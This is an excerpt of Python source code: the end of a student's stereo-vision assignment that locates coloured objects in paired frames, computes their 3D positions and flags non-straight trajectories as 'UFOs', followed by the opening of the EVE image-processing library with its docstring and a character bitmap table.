boundary of the image, once again, we return (-1,-1), because we'll know
that the midpoint we find will probably be inaccurate.
This estimates the midpoint by finding the upper/lower X and Y bounds of
that region of 1s in the image. Yes, it's a pretty naiive, brute force-y
method. However, I tried several object/blob detection algorithms within
OpenCV, however, none of them really worked as intended (not detecting the
objects in the earlier images, not really being able to work out which
keypoints correspond to each object, and refusing to detect the single
object when I go through the effort of masking out everything else in the
image), so I went 'fuck it, guess I'm doing it myself'
DISCLAIMER: I produced this code on the 3rd of March, several days before
that email was sent out suggesting that a procedure like this would be
worth using for the assignment.
:param objectMask: binary image, with 1s in the area where the object
with the midpoint being looked for is, and 0s everywhere else.
:return: A tuple holding the the midpoint of the object.
If the object isn't present (mask all 0s), a value of (-1,-1) is returned.
Additionally, if the object is at the edge of the image (a minimum is 0,
or a maximum is at the maximum possible x/y), that heavily implies that
the object is partially out-of-frame. Therefore, as that means the true
bounds are likely to be out-of-frame, this midpoint detector will not find
the true midpoint of the object, so it will give up and return -1s for that
as well.
"""
if objectMask.any():
if objectMask[0].any() or objectMask[-1].any():
# if there's anything in the topmost or bottommost row, that means
# there's something on the image boundary, meaning that the midpoint
# found will be inaccurate, so we're not going to bother finding it.
return -1, -1
else:
# if nothing in the objectMask is a 1, we return -1s.
return -1, -1
# obtaining the shape of the actual mask image
yx: Tuple[int, int] = objectMask.shape
ny: int = yx[0]
nx: int = yx[1]
# and declaring some variables to hold the info we find out about
# the shape of the object.
minX: int = -1
maxX: int = -1
minY: int = -1
maxY: int = -1
notFoundFirst: bool = True # set this to false when we find first pixel
# now we just casually loop through the image pixels,
# and find out about what sort of shape the object has
for y in range(1, ny-1):
# we already established that the topmost/bottommost rows are empty.
if objectMask[y].any():
# we only bother with this row if it contains 1s
maxY = y
# y wont get smaller.
# and assignment has same complexity as checking a single
# condition so I may as well just reassign y anyway.
for x in range(0, nx):
if objectMask[y][x] != 0:
# if it's not 0, we've found something!
if notFoundFirst:
# if we haven't found the first thing yet, we have now.
notFoundFirst = False
minX = maxX = x
minY = maxY = y
else:
if x < minX:
minX = x
elif x > maxX:
maxX = x
# if it's at the x bounds of the image, the result definitely won't be
# accurate, so we'll just return -1, -1.
# (we already checked the y bounds earlier on)
if (minX == 0) or (maxX == nx-1):
return -1, -1
# working out widths and heights
w: int = (maxX - minX)
h: int = (maxY - minY)
# using that and the lower bounds for x and y to find the midpoints
xMid: float = minX + (w / 2.0)
yMid: float = minY + (h / 2.0)
# and returning a tuple with those midpoints
return xMid, yMid
# noinspection PyPep8Naming
def getObjectMidpoints(hsvIn: np.ndarray) -> Dict[str, Tuple[float, float]]:
"""
Gets the midpoints for the objects that may be in the given HSV image.
We generate masks that contain only the region of the HSV object that is
occupied by the pixels that make up a particular object, do a bit of cleanup
for the objects that have somewhat overlapping pixel values, and then
put those masks into getObjectMidpoint to produce a dictionary holding the
midpoints of each of the objects in the image.
If an object is not present in the image, its entry in the dictionary will
have the default value of (-1,-1) instead of an actual midpoint.
You might be wondering 'why am I making all the masks at once and then
finding the midpoints from them all at once instead of just making a mask,
getting the midpoint, and moving on to the next mask?'
Simple answer: Doing it this way allows me to do the cleanup stuff that
needs to be done for cyan/white/orange/yellow more effectively,
and it means I can declare the results dictionary as a literal and also
immediately return it. yay efficiency.
:param hsvIn: the hsv image that contains the objects
:return: dict with midpoints for each of the 7 coloured objects
that might be present in the given image. If not present, midpoint will
be (-1,-1). Keys are (cyan, red, white, blue, green, yellow, orange)
"""
# generating masks for each object.
cyan_mask: np.ndarray = cv2.inRange(hsvIn, min_cyan, max_cyan)
red_mask: np.ndarray = cv2.inRange(hsvIn, min_red, max_red)
white_mask: np.ndarray = cv2.inRange(hsvIn, min_white, max_white)
blue_mask: np.ndarray = cv2.inRange(hsvIn, min_blue, max_blue)
green_mask: np.ndarray = cv2.inRange(hsvIn, min_green, max_green)
yellow_mask: np.ndarray = cv2.inRange(hsvIn, min_yellow, max_yellow)
orange_mask: np.ndarray = cv2.inRange(hsvIn, min_orange, max_orange)
# and now, time for some cleanup
# filling in the midpoint for the cyan mask (as that's actually white)
cyan_mask = cv2.morphologyEx(cyan_mask, cv2.MORPH_CLOSE, kernel33)
# removing the midpoint in the cyan mask from the white mask
white_mask = cv2.subtract(white_mask, cyan_mask)
# filling in the midpoint for the orange mask (as that's actually yellow)
orange_mask = cv2.morphologyEx(orange_mask, cv2.MORPH_CLOSE, kernel33)
# and removing the orange midpoint from some yellow
yellow_mask = cv2.subtract(yellow_mask, orange_mask)
# finally making + returning the dict with the midpoints of each object
return {
"cyan": getObjectMidpoint(cyan_mask),
"red": getObjectMidpoint(red_mask),
"white": getObjectMidpoint(white_mask),
"blue": getObjectMidpoint(blue_mask),
"green": getObjectMidpoint(green_mask),
"yellow": getObjectMidpoint(yellow_mask),
"orange": getObjectMidpoint(orange_mask)
}
# noinspection PyPep8Naming
def getStereoPositions(left_in: np.ndarray, right_in: np.ndarray) -> \
Dict[str,
Tuple[Tuple[float, float],
Tuple[float, float]]]:
"""
Gets the positions of objects in the left and right *coloured* images.
This **will** assume that the dimensions of the left and right images
are identical, and that the two images are Y-aligned already.
:param left_in: the left input image *in colour*
:param right_in: the right input image *in colour*
:return: a dictionary with the names of the objects in both images as keys,
and a tuple, containing the x' and y' positions of that particular object
in both images as the value
1st tuple in the value tuple: (x',y') from left image.
2nd tuple in the value tuple: (x',y') from right image.
If an object is not present in **both** images, it will **not** be
present in the returned dictionary.
:raises: ValueError if the two images provided have different dimensions.
"""
# gets the shape of the images
yx: Tuple[int, int] = left_in.shape
if yx != right_in.shape:
# complains if the dimensions aren't identical.
raise ValueError("Please provide images with identical dimensions.")
lDict: Dict[str, Tuple[float, float]] = getObjectMidpoints(left_in)
"""dictionary with midpoints for every object in the left image"""
rDict: Dict[str, Tuple[float, float]] = getObjectMidpoints(right_in)
"""dictionary with midpoints for every object in the right image"""
# half of the x and y dimensions of the images
halfY: float = yx[0] / 2
halfX: float = yx[1] / 2
posDict: Dict[str, Tuple[Tuple[float, float], Tuple[float, float]]] = {}
"""a dictionary for all the calculated (X',Y') positions for each image"""
# obtains the keys from lDict but as a list so it can be foreach'd,
# and also foreaches through them
for key in [*lDict.keys()]:
if lDict[key] != (-1, -1):
if rDict[key] != (-1, -1):
# if both dictionaries have an actual value for the key
# just getting a copy of those raw values real quick
rawL: Tuple[float, float] = lDict[key]
rawR: Tuple[float, float] = rDict[key]
# work out the X' and the Y' stuff for left and right
# and put it into the posDict.
# X` = x - halfX
# Y' = halfY - y
posDict[key] = (
(rawL[0] - halfX, halfY - rawL[1]),
(rawR[0] - halfX, halfY - rawR[1])
)
# and now return the posDict
return posDict
placeholderOutString: str = "{:5} {:8} {:8.2e} {}"
"""
This is a placeholder string to be used when formatting the frame-by-frame
printout of object data. Double space between each thing of data.
1st value: will be the frame number. 5 width, right-aligned.
2nd value: object identifier. 8 width, also left-aligned
3rd value: object distance (Z pos, in metres). 8 width, in the form 1.23e+45
4th value: just the raw (X,Y,Z) position of the object in 3D space (in metres),
for sake of curiosity.
"""
focalLength: float = 12
"Focal length of camera is 12m"
baseline: float = 3500
"baseline between cameras is 3.5km -> 3500m"
pixelSize: float = float(1e-5)
"pixel spacing: 10 microns -> 1e-5 metres"
# noinspection PyPep8Naming
def calculateAndPrintPositionsOfObjects(leftIm: np.ndarray,
rightIm: np.ndarray,
frameNum: int = 0) -> \
Dict[str, Vector3D]:
"""
Given a left image (BGR), a right image (BGR), and a frame number (optional)
, this method will print the details about the identifiers and the depths
(Z axis positions) of the objects in the image (formatted as per the
assignment brief, using the global placeholderOutString), and will return a
dictionary with vector3 positions of the objects in the images.
Objects in only one image will be omitted. Distances will be in metres.
leftIm and rightIm must be in BGR colour, and have identical dimensions.
This will use the focalLength, baseline, and pixelSize global variables to
calculate the positions of the objects.
placeholderOutString, focalLength, baseline, and pixelSize are present
just above this function.
:param leftIm: The left stereo image to look at (BGR colour)
:param rightIm: The right stereo image to look at (BGR colour)
:param frameNum: The frame number (optional). Will only be used to prefix
the printout. If not supplied, 0 will be used.
:return: A dictionary with the identifiers of the objects identified, along
with their vector3 positions, in metres, relative to the midpoint between
the cameras.
"""
imgPositions: \
Dict[str, Tuple[Tuple[float, float], Tuple[float, float]]] = \
getStereoPositions(cv2.cvtColor(leftIm, cv2.COLOR_BGR2HSV),
cv2.cvtColor(rightIm, cv2.COLOR_BGR2HSV))
"""
These are the left and right image X'Y' coords of every object
in both the left and the right images.
"""
# noinspection PyShadowingNames
posXYZ: Dict[str, Vector3D] = {}
"""
this will hold the X, Y, Z coords of the objects in 3D space,
using the midpoint between the cameras as the origin,
measured in metres.
"""
# unpacking the keys/object names as a list so we can iterate through them.
# Why do I need to do this? Because Dict.keys() returns a KeysView object,
# which isn't iterable, and is generally awkward to work with. However,
# putting a KeysView kv into [*kv] basically unpacks it into a list, which
# we can iterate through. So that's what happens here.
for key in [*imgPositions.keys()]:
currentPos: Tuple[Tuple[float, float], Tuple[float, float]] = \
imgPositions[key]
"We obtain info about current object's 2d pos from imagePositions"
xDisparity: float = currentPos[0][0] - currentPos[1][0]
"x disparity = xL - xR"
if xDisparity == 0.0:
# undefined behaviour (aka runtime error) if the x disparity is 0.
# so we'll just forget it ever happened
continue
rawZ: float = (focalLength * baseline) / (xDisparity * pixelSize)
"""
Z = (f * b) / (xl - xr)
which is how we work out what dist is.
"""
rawX: float = ((-currentPos[1][0] * pixelSize) / focalLength) * rawZ
"""
(-xr/f) = (X/Z), therefore (-xr/f) * Z = X
So I used that equation to find out what the actual X position
of the object is in 3D space.
"""
yMid: float = (currentPos[0][1] + currentPos[1][1]) / 2
"""
This is the y midpoint of the object. I'm getting the average of the y
position for the two images, just in case they differ a bit (and, if
they're actually identical, the yMid will just be the same as them)
"""
rawY: float = -((yMid * pixelSize) / focalLength) * rawZ
"""
(xl / f) = (B-X)/Z
so, substituting the x for y
(y / f) = (B-Y)/Z = -Y/Z
and if we rearrange that so -Y is the result
(y/f) * Z = -Y
and negating that to get positive Y as the result
-(y/f) * Z = Y
"""
# we put the raw XYZ into posXYZ
posXYZ[key] = Vector3D(rawX, rawY, rawZ)
# Now, we just print the required info, as per the specification.
print(placeholderOutString.format(
frameNum, # what frame number this is
key, # identifier of this object
rawZ, # we print the Z depth
posXYZ[key] # the XYZ pos, printed for debug reasons.
))
# we finish by returning the posXYZ dictionary.
return posXYZ
"""
~~~~~~ WORKING OUT WHAT IS/IS NOT A UFO ~~~~~~
These methods (and globals) are used to work out what is/isn't a UFO from a
dictionary of UFO identifiers and their frame-by-frame positions as lists of
Vector3D objects.
"""
debuggingLineStuff: bool = False
"""
Set this to true if you want to enable the debug printouts for the
isThisAStraightLine function (immediately below this)
"""
straightLineMaxUncertainty: float = 0.05
"""
How uncertain we are allowing ourselves to be about whether a line is straight
or not. If there is more than this amount of uncertainty (0.05 = 5%), we won't
consider it to be a straight line; instead, we'll consider it to be a UFO.
MUST BE BETWEEN 0 AND 1.0!
Outputs at different thresholds of this value:
* 0
* UFO: cyan red white blue yellow orange
* 0.05
* UFO: cyan white blue yellow orange
* 0.0625
* UFO: cyan blue yellow orange
* 0.075
* UFO: cyan blue orange
* 0.11
* UFO: cyan blue
* 0.125
* UFO: cyan
* 0.35
* UFO:
"""
assert (0.0 <= straightLineMaxUncertainty <= 1.0)
# noinspection PyPep8Naming
def isThisAStraightLine(line: List[Vector3D]) -> bool:
"""
Returns whether or not a sequence of 3D points is a straight line,
using the getNormDifferenceBetweenPoints function, and dot product abuse.
If there's 2 or fewer points, it certainly ain't bent, so it will return
true.
Due to the inherent uncertainty with how the points are calculated, I am
giving some leeway in the calculations.
And basically I'm working out if it's straight or not by seeing if at least
~95% of the dot products for the normalized vectors between each vector of
the line and the normalized vector between the start and the end of the line
are ~1.0 (tl;dr the dot product of two identical unit vectors is 1, but, if
they aren't identical, it'll be less than 1).
:param line: the sequence of 3D points
:return: true if they're a straight enough line, false otherwise.
"""
if len(line) < 3:
# 3 short 5 bend
return True
startEndDiff: Vector3D = \
normalizeVectorBetweenPoints(line[0], line[-1])
"""
This is a normalized vector between the starting point and the ending
point of the object. Every single vector between each pair of consecutive
points will be checked for similarity to this via their dot products
"""
if debuggingLineStuff:
print(startEndDiff)
dots: List[float] = []
"""
A list to hold the dot product(s) of startEndDiff and the normalized
versions of the vectors between each pair of consecutive vectors in line
"""
thisIndex: int = 0
"""
A cursor to the index of the line used for this iteration. This starts at 0,
so, when the first iteration increments it to 1, the first iteration will
look at indexes [0] and [1] (getting the first movement vector).
"""
while True:
thisIndex += 1 # we move to the next index of the list
if thisIndex >= len(line):
# we're basically emulating a do/while loop here
# with a while condition of thisIndex < len(line)
# so when we get to the end of the list, we stop looping.
break
thisDiff: Vector3D = \
normalizeVectorBetweenPoints(line[thisIndex-1], line[thisIndex])
"""
We find the vector between the position at the index thisIndex and the
point on the line behind it, but normalized instead, so we can compare
it to the normalized startEndDiff.
"""
if debuggingLineStuff:
print(thisDiff)
if thisDiff.isZero():
# if it's a 0 vector, that will mess up our calculations, so
# we'll just ignore it and move on to the next pair of vectors.
continue
thisDot: float = startEndDiff.dot(thisDiff)
"""
TIME FOR SOME ILLEGAL MATHS!!!
Funnily enough, you can actually use the dot product of two unit vectors
to compare the unit vectors for similarity.
Unit vectors have a magnitude of 1. And the dot product of two vectors
is basically working out how far a vector projects onto another. Forgot
the technical terms.
But, the important thing is that if you have two unit vectors, and the
two unit vectors are identical (same x, y, z; same direction), the dot
product of those two vectors will be 1.
For a more practical example of this illegal maths in action,
there's a rather nice demo of the dot products of vectors (but in two
dimensions) here, where you can try messing around with unit vectors:
https://www.youphysics.education/scalar-and-vector-quantities/dot-product/
"""
if debuggingLineStuff:
print(thisDot)
dots.append(thisDot) # and we append the current dot product to dots.
if len(dots) == 0:
# if all the differences between positions were (0,0,0), this ain't bent
# so it'll return True.
return True
maxSusFloat: float = len(dots) * straightLineMaxUncertainty
maxSus: int = int(maxSusFloat)
"""
This is how many of the dot products have to be not roughly equal to 1 for
the object to be labelled as a UFO. It's currently set up so, if ~5% of the
dots are not equal to 1, that's sus enough for us to label it as a UFO, with
95% certainty of this being the case.
This is because I'm working on the hypothesis that 'This line is straight',
and I'm going only going to accept this hypothesis with a certainty of at
least 95% (it's good enough for geography, and there's not enough data, at
least in the sample dataset, for me to really be able to test for 99%
certainty)
So, if ~5% of the vectors indicate that this is not travelling in a straight
line, we have a certainty of less than 95% that this is travelling in a
straight line, therefore, we will reject the hypothesis that 'this object
is travelling in a straight line', and accept the null hypothesis (of 'this
object is not travelling in a straight line') instead.
"""
# and if there's a maximum sus level that's below 0, we set it to 1.
if maxSus < 1:
maxSus = 1
if debuggingLineStuff:
print("ufo is " + str(maxSus) + " sus!") # WHEN THE UFO IS SUS!
susCount: int = 0
"The count of how many times the dot product has been not equal to 1."
debugCount: int = 0
"just here as a printout for debug purposes."
for d in dots:
if not isclose(1, d, rel_tol=1e-09):
"""
We're using floating-point numbers here, so, because it's nigh
impossible to get a dot of 1.0 (mostly due to the slight inaccuracy
inherent due to resolution and pixel values and stuff like that),
we're using the 'isclose' method to check if the dots are within
1e-09 of 1 (at least 0.999999999).
If it isn't close enough to 1, the thing isn't going in
a straight line. So it's sus.
And if it's sus maxSus times, this is clearly not a straight line.
"""
susCount += 1
if debuggingLineStuff:
print("diff " + str(debugCount) + " is " +
str(susCount) + " sus")
if susCount >= maxSus: # WHEN THE UFO IS SUS
return False # amogus
debugCount += 1
# if it hasn't been thrown out as sus yet, it's probably a straight line.
return True
# noinspection PyPep8Naming
def makeUfoString(objPositions: Dict[str, List[Vector3D]]) -> str:
"""
Given the dictionary of object identifiers + lists with all of
their Vector3D positions, create the space delimited string with the
list of all the identifiers of objects that are UFOs
:param objPositions: dictionary of object identifiers + Vector3D
positions for all the objects that may or may not be UFOs
:return: string with the identifiers of what is and isn't a UFO
"""
ufoString: str = ""
"""
The space-delimited string of UFO identifiers.
"""
for key in [*objPositions.keys()]:
if not isThisAStraightLine(objPositions[key]):
# we check if the list of points is a straight line.
# If they aren't a straight line, we know this is a UFO, so
# it's appended to the ufoString.
ufoString = ufoString + " " + key
return ufoString
"""
~~~~~~ CHECKING WHETHER OR NOT AN IMAGE OPENED ~~~~~
yeah this is just here to stop a big error from happening
"""
# noinspection PyPep8Naming
def checkIfImageWasOpened(filename: str, img: Union[np.ndarray, None]) -> None:
"""
This will check if the image with the given filename could be opened
:param filename: the name of the file
:param img: the numpy.ndarray (or lack thereof) that opencv could open
using that given filename
:return: nothing. But, if the file couldn't be opened (causing img to be
None instead of a np.ndarray), the program complains and promptly closes.
"""
if isinstance(img, type(None)):
"""
If the image is actually NoneType, the program complains and closes.
And you may ask yourself 'why am I doing this in such a convoluted way?'
Simple answer: There is no simpler way to do it.
Opencv doesn't throw an exception if the image couldn't be read, it just
returns None.
So, if it does return None, I could just detect it with 'if im == None',
right? WRONG!
Thing is, if it doesn't return None, it returns a numpy.ndarray. And if
you attempt to compare one of those against None, guess what? You get
a ValueError and a snarky comment saying 'oh no the truth value of this
is ambiguous pls use .any() or .all() instead'
But if I try to use those methods to check if the image exists, and the
image doesn't exist, guess what? You get an AttributeError.
Now, do I want to bother with throwing and catching exceptions manually?
No. cba to deal with that overhead.
Would I have preferred it if OpenCV could have just thrown an exception
or just returned an empty array instead of returning a mcfucking None?
Yes.
But, alas, we live in a society. Rant over.
"""
print("ERROR: Could not open the file called " + filename)
sys.exit(1)
"""
~~~~~~ THE MAIN PROGRAM ~~~~~~
Everything from here is the stuff that runs when you start running this.
"""
if len(sys.argv) < 4:
# If you don't give 3 command line arguments, the program will complain
print("Usage:", sys.argv[0],
"<frame count> ",
"<left frame filename template, such as left-%03d.png> ",
"<right frame filename template, such as right-%03d.png>",
file=sys.stderr)
# and promptly quit
sys.exit(1)
# this line was adapted from the assignment brief.
nframes: int = int(sys.argv[1])
"""
Reads the 1st (well, technically 2nd) command line argument as the number of
frames to look at.
"""
if nframes < 1:
# complains if it's asked to look at less than 1 frame (and gives up)
print("How the hell am I supposed to look at less than 1 frame!?")
sys.exit(1)
objectPositions: Dict[str, List[Vector3D]] = {
"cyan": [],
"red": [],
"white": [],
"blue": [],
"green": [],
"yellow": [],
"orange": []
}
"""
This is a dictionary which will hold the positions of the objects for every
frame.
"""
print("frame identity distance") # header for the required frame data info.
# the following 10 lines were adapted from the assignment brief.
for frame in range(0, nframes):
# we work out the filenames for the left and right images for this frame,
# and then we open those images using opencv.
# (and also check to see if the images could actually be opened.)
fn_left: str = sys.argv[2] % frame
im_left: np.ndarray = cv2.imread(fn_left) # left image (BGR)
checkIfImageWasOpened(fn_left, im_left)
fn_right: str = sys.argv[3] % frame
im_right: np.ndarray = cv2.imread(fn_right) # Right image (BGR)
checkIfImageWasOpened(fn_right, im_right)
if debugging:
"""
You remember those debugging functions from earlier, right?
Well, this is where they get used. If you enabled 'debugging' ofc.
"""
debug(fn_left, fn_right, im_left, im_right, frame)
# END OF DEBUGGING CODE
posXYZ: Dict[str, Vector3D] = \
calculateAndPrintPositionsOfObjects(im_left, im_right, frame)
"""
We obtain the identifiers and XYZ positions of all the objects that are
present within both of the stereo frames.
"""
for o in [*posXYZ.keys()]:
objectPositions[o].append(posXYZ[o])
# and we append them to the list of all positions for that object.
# Finally, we print out what is/isn't a UFO.
print("UFO:{}".format(makeUfoString(objectPositions)))
"""
That's all, folks!
"""```
eve.py
```#!/usr/bin/env python
"""EVE: the Easy Vision Environment
EVE provides easy-to-use functionality for performing common image
processing and computer vision tasks. The intention is for them to be
used during interactive sessions, from the Python interpreter's command
prompt or from an enhanced interpreter such as Jupyter as well as in
scripts. Python v3 is required.
EVE is built principally on top of the popular numpy ('numerical
python') extension to Python. Images are represented as numpy arrays,
usually 32-bit floating-point ones, indexed by line, pixel and
channel, in that order: image[line,pixel,channel]. The choice of a
floating-point representation is deliberate: it permits images that
have been captured from sensors with more than 8 bits dynamic range to
be processed (e.g., astronomical images and digital radiographs); it
supports Fourier-space processing; and it avoids having to worry about
the problem of rounding integers except at output. Images in EVE may
contain any number of channels, so EVE can be used with e.g. remote
sensing or hyperspectral imagery.
Other Python extensions are loaded by those routines that need them. In
particular, PIL (the 'Python Imaging Extension') is used for the input
and output of common image file formats, though not for any processing.
scipy ('scientific python') is used by several routines, and so are a
few other extensions here and there.
On the other hand, EVE is slow. If you're thinking of using EVE instead
of openCV for real-time video processing, forget it! This is partly
because of the interpreted nature of Python and partly because EVE
attempts to provide algorithms that are understandable rather than fast:
it is intended as a prototyping environment rather than a real-time
delivery one. This also makes it useful for teaching how vision
algorithms work, of course.
EVE was written by Adrian F. Clark <alien@essex.ac.uk>, though several
routines are adapted from code written by others; such code is
attributed in the relevant routines. I have sought permission from
the original authors whenever I could find a way of contacting them.
EVE is made available entirely freely: you are at liberty to use it in
your own work, either as is or after modification. Many other routines
mimic the functionality of his first image processing library, Adlib,
so much so that some of the routines are direct conversions of his
original Fortran to Python while others retain the Adlib names.
The author would be very happy to hear of improvements or enhancements
that you may make to EVE.
"""
from __future__ import division, print_function
import math, numpy, os, platform, re, struct, sys, tempfile
#-------------------------------------------------------------------------------
# TO DO
# [currently nothing]
#-------------------------------------------------------------------------------
# Symbolic constants and global variables.
#-------------------------------------------------------------------------------
# The operating system we are running under, used to select the appropriate
# external program for display or grabbing images and a few other things.
systype = platform.system ()
use_graphics = None # the graphics subsystem we are using
sixel_quant = 256 # number of levels for img2sixel
tiny = 1.0e-7 # the smallest number worth bothering about
huge = 1.0e99 # a really large number
max_image_value = 255.0 # the largest value normally put into an image
character_height = 13 # height of characters in draw_text()
character_width = 10 # width of characters in draw_text()
character_bitmap = {
' ': [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],
'!': [0x00,0x00,0x18,0x18,0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x18],
'"': [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x36,0x36,0x36],
'#': [0x00,0x00,0x00,0x66,0x66,0xff,0x66,0x66,0xff,0x66,0x66,0x00,0x00],
'$': [0x00,0x00,0x18,0x7e,0xff,0x1b,0x1f,0x7e,0xf8,0xd8,0xff,0x7e,0x18],
'%': [0x00,0x00,0x0e,0x1b,0xdb,0x6e,0x30,0x18,0x0c,0x76,0xdb,0xd8,0x70],
'&': [0x00,0x00,0x7f,0xc6,0xcf,0xd8,0x70,0x70,0xd8,0xcc,0xcc,0x6c,0x38],
"'": [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x1c,0x0c,0x0e],
'(': [0x00,0x00,0x0c,0x18,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x18,0x0c],
')': [0x00,0x00,0x30,0x18,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x18,0x30],
'*': [0x00,0x00,0x00,0x00,0x99,0x5a,0x3c,0xff,0x3c,0x5a,0x99,0x00,0x00],
'+': [0x00,0x00,0x00,0x18,0x18,0x18,0xff,0xff,0x18,0x18,0x18,0x00,0x00],
',': [0x00,0x00,0x30,0x18,0x1c,0x1c,0x00,0x00,0x00,0x00,0x00,0x00,0x00],
'-': [0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0x00,0x00,0x00,0x00,0x00],
'.': [0x00,0x00,0x00,0x38,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],
'/': [0x00,0x60,0x60,0x30,0x30,0x18,0x18,0x0c,0x0c,0x06,0x06,0x03,0x03],
'0': [0x00,0x00,0x3c,0x66,0xc3,0xe3,0xf3,0xdb,0xcf,0xc7,0xc3,0x66,0x3c],
'1': [0x00,0x00,0x7e,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x78,0x38,0x18],
'2': [0x00,0x00,0xff,0xc0,0xc0,0x60,0x30,0x18,0x0c,0x06,0x03,0xe7,0x7e],
'3': [0x00,0x00,0x7e,0xe7,0x03,0x03,0x07,0x7e,0x07,0x03,0x03,0xe7,0x7e],
'4': [0x00,0x00,0x0c,0x0c,0x0c,0x0c,0x0c,0xff,0xcc,0x6c,0x3c,0x1c,0x0c],
'5': [0x00,0x00,0x7e,0xe7,0x03,0x03,0x07,0xfe,0xc0,0xc0,0xc0,0xc0,0xff],
'6': [0x00,0x00,0x7e,0xe7,0xc3,0xc3,0xc7,0xfe,0xc0,0xc0,0xc0,0xe7,0x7e],
'7': [0x00,0x00,0x30,0x30,0x30,0x30,0x18,0x0c,0x06,0x03,0x03,0x03,0xff],
'8': [0x00,0x00,0x7e,0xe7,0xc3,0xc3,0xe7,0x7e,0xe7,0xc3,0xc3,0xe7,0x7e],
'9': [0x00,0x00,0x7e,0xe7,0x03,0x03,0x03,0x7f,0xe7,0xc3,0xc3,0xe7,0x7e],
':': [0x00,0x00,0x00,0x38,0x38,0x00,0x00,0x38,0x38,0x00,0x00,0x00,0x00],
';': [0x00,0x00,0x30,0x18,0x1c,0x1c,0x00,0x00,0x1c,0x1c,0x00,0x00,0x00],
'<': [0x00,0x00,0x06,0x0c,0x18,0x30,0x60,0xc0,0x60,0x30,0x18,0x0c,0x06],
'=': [0x00,0x00,0x00,0x00,0xff,0xff,0x00,0xff,0xff,0x00,0x00,0x00,0x00],
'>': [0x00,0x00,0x60,0x30,0x18,0x0c,0x06,0x03,0x06,0x0c,0x18,0x30,0x60],
'?': [0x00,0x00,0x18,0x00,0x00,0x18,0x18,0x0c,0x06,0x03,0xc3,0xc3,0x7e],
'@': [0x00,0x00,0x3f,0x60,0xcf,0xdb,0xd3,0xdd,0xc3,0x7e,0x00,0x00,0x00],
'A': [0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xff,0xc3,0xc3,0xc3,0x66,0x3c,0x18],
'B': [0x00,0x00,0xfe,0xc7,0xc3,0xc3,0xc7,0xfe,0xc7,0xc3,0xc3,0xc7,0xfe],
'C': [0x00,0x00,0x7e,0xe7,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xe7,0x7e],
'D': [0x00,0x00,0xfc,0xce,0xc7,0xc3,0xc3,0xc3,0xc3,0xc3,0xc7,0xce,0xfc],
'E': [0x00,0x00,0xff,0xc0,0xc0,0xc0,0xc0,0xfc,0xc0,0xc0,0xc0,0xc0,0xff],
'F': [0x00,0x00,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xfc,0xc0,0xc0,0xc0,0xff],
'G': [0x00,0x00,0x7e,0xe7,0xc3,0xc3,0xcf,0xc0,0xc0,0xc0,0xc0,0xe7,0x7e],
'H': [0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xff,0xc3,0xc3,0xc3,0xc3,0xc3],
'I': [0x00,0x00,0x7e,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x7e],
'J': [0x00,0x00,0x7c,0xee,0xc6,0x06,0x06,0x06,0x06,0x06,0x06,0x06,0x06],
'K': [0x00,0x00,0xc3,0xc6,0xcc,0xd8,0xf0,0xe0,0xf0,0xd8,0xcc,0xc6,0xc3],
'L': [0x00,0x00,0xff,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0],
'M': [0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xdb,0xff,0xff,0xe7,0xc3],
'N': [0x00,0x00,0xc7,0xc7,0xcf,0xcf,0xdf,0xdb,0xfb,0xf3,0xf3,0xe3,0xe3],
'O': [0x00,0x00,0x7e,0xe7,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xe7,0x7e],
'P': [0x00,0x00,0xc0,0xc0,0xc0,0xc0,0xc0,0xfe,0xc7,0xc3,0xc3,0xc7,0xfe],
'Q': [0x00,0x00,0x3f,0x6e,0xdf,0xdb,0xc3,0xc3,0xc3,0xc3,0xc3,0x66,0x3c],
'R': [0x00,0x00,0xc3,0xc6,0xcc,0xd8,0xf0,0xfe,0xc7,0xc3,0xc3,0xc7,0xfe],
'S': [0x00,0x00,0x7e,0xe7,0x03,0x03,0x07,0x7e,0xe0,0xc0,0xc0,0xe7,0x7e],
'T': [0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff],
'U': [0x00,0x00,0x7e,0xe7,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3],
'V': [0x00,0x00,0x18,0x3c,0x3c,0x66,0x66,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3],
'W': [0x00,0x00,0xc3,0xe7,0xff,0xff,0xdb,0xdb,0xc3,0xc3,0xc3,0xc3,0xc3],
'X': [0x00,0x00,0xc3,0x66,0x66,0x3c,0x3c,0x18,0x3c,0x3c,0x66,0x66,0xc3],
'Y': [0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x3c,0x66,0x66,0xc3],
'Z': [0x00,0x00,0xff,0xc0,0xc0,0x60,0x30,0x7e,0x0c,0x06,0x03,0x03,0xff],
'[': [0x00,0x00,0x3c,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x3c],
'\\': [0x00,0x03,0x03,0x06,0x06,0x0c,0x0c,0x18,0x18,0x30,0x30,0x60,0x60],
']': [0x00,0x00,0x3c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x3c],
'^': [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc3,0x66,0x3c,0x18],
'_': [0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],
'`': [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x38,0x30,0x70],
